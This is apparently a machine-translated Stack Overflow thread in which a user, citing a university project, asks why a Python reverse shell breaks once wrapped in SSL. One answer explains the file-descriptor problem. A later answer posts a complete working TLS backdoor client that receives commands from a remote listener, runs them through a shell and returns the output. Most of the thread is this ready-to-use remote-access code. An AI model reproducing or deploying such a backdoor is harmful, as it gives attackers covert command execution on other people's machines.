2016-05-11 7 views
2

Für mein Universitätsprojekt muss ich ein Remote Access Tool mit Python erstellen. Ich kann es einfach auf einem einfachen TCP-Socket tun, aber wenn es um einen SSL-Socket geht, bekomme ich Probleme. HierReverse Shell über SSL in Python

ist der Code:

#/usr/bin/python3 

import socket 
import ssl 
import subprocess 
import os 

# SET VARIABLES 
HOST, PORT = '127.0.0.1', 1234 

# CREATE SOCKET 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
sock.settimeout(10) 

# WRAP SOCKET 
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23) 

sock.connect((HOST, PORT)) 
os.dup2(sock.fileno(), 0) 
os.dup2(sock.fileno(), 1) 
os.dup2(sock.fileno(), 2) 

p = subprocess.call(["/bin/bash", "-i"]) 

Wenn ich versuche, mit ncat --ssl -nlvp 1234 auf der anderen Seite zu hören, die Reverse-Shell verbindet und trennt sofort, aber es passiert nichts; Und wenn ich die sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23) entferne, bekomme ich eine funktionierende Hintertür, aber auf einem Nur-Text-Socket.

Kann mir bitte jemand das Problem erklären? Und vielleicht gib mir eine Lösung?

Antwort

1

TCP ist im Betriebssystemkernel implementiert, während SSL im Benutzerbereich implementiert ist. Der Dateideskriptor, den Sie mit fileno() erhalten, ist nur die Kernel-Repräsentation. Daher baut Ihr Code zuerst eine TCP-Verbindung auf (Kernel-Space), gefolgt von der Umhüllung des TCP-Sockets in SSL (User Space). Nach dem Aufbau der SSL-Verbindung versuchen Sie jedoch, direkt auf den TCP-Socket zu schreiben, anstatt die Daten gemäß dem SSL-Protokoll zu wickeln. Dies führt sofort zu ungültigen SSL-Protokolldaten und zum Schließen der Verbindung.

Stattdessen müssten Sie einen untergeordneten Prozess erstellen und die Daten zwischen dem übergeordneten Element und dem untergeordneten Element austauschen, normalerweise über die Zuordnung von stdin/stdout zu Pipes oder einem Sockelpaar. Und im Elternteil können Sie dann die Daten vom Kind über den SSL-Socket weiterleiten und auch Daten an das Kind senden, nachdem Sie sie aus dem SSL-Socket gelesen haben.

Um zu wissen, wann Daten für jeden der Dateideskriptoren verfügbar sind (d. H. SSL-Socket und Kommunikation mit dem untergeordneten Prozess), können Sie select verwenden. Beachten Sie, dass Sie besondere Vorsicht walten lassen müssen, wenn Sie auch mit SSL-Sockets auswählen, d. H. Einfache Auswahl reicht bei SSL nicht aus, aber Sie müssen use pending.

+0

Danke, ich bekomme den Fehler, den ich mache. Gibt es eine Möglichkeit, den SSL-Dateideskriptor zu bekommen, damit ich direkt in meine umgekehrte Shell schreiben kann ?? – Sidahmed

+0

@Sidahmed: again - der Kernel-Dateideskriptor ist nur der TCP-Socket und das SSL ist im Benutzerbereich implementiert. Es gibt keinen "SSL-Dateideskriptor", der von einem erstellten Prozess verwendet werden kann, da der SSL-Status nur in dem unterschiedlichen Benutzerbereich des ursprünglichen Prozesses existiert. –

+0

Ah OK, vielen Dank. – Sidahmed

1

Alte Frage, aber das war meine Lösung, genau wie Stteffen Ullrich sagte;

import os 
import socket 
import subprocess 
import ssl 

# Create a socket 
def socket_create(): 
    try: 
     global host 
     global port 
     global ssls 
     host = '127.0.0.1' 
     port = 9999 
     s = socket.socket() 
     ssls = wrappedSocket = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1) 
    except socket.error as msg: 
     print("Socket creation error: " + str(msg)) 


# Connect to a remote socket 
def socket_connect(): 
    try: 
     global host 
     global port 
     global s 
     ssls.connect((host, port)) 
    except socket.error as msg: 
     print("Socket connection error: " + str(msg)) 


# Receive commands from remote server and run on local machine 
def receive_commands(): 
    global s 
    while True: 
     data = ssls.recv(1024) 
     if data[:2].decode("utf-8") == 'cd': 
      os.chdir(data[3:].decode("utf-8")) 
     if len(data) > 0: 
      cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
      output_bytes = cmd.stdout.read() + cmd.stderr.read() 
      output_str = str(output_bytes) 
      ssls.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
      print(output_str) 
    s.close() 


def main(): 
    socket_create() 
    socket_connect() 
    receive_commands() 


main()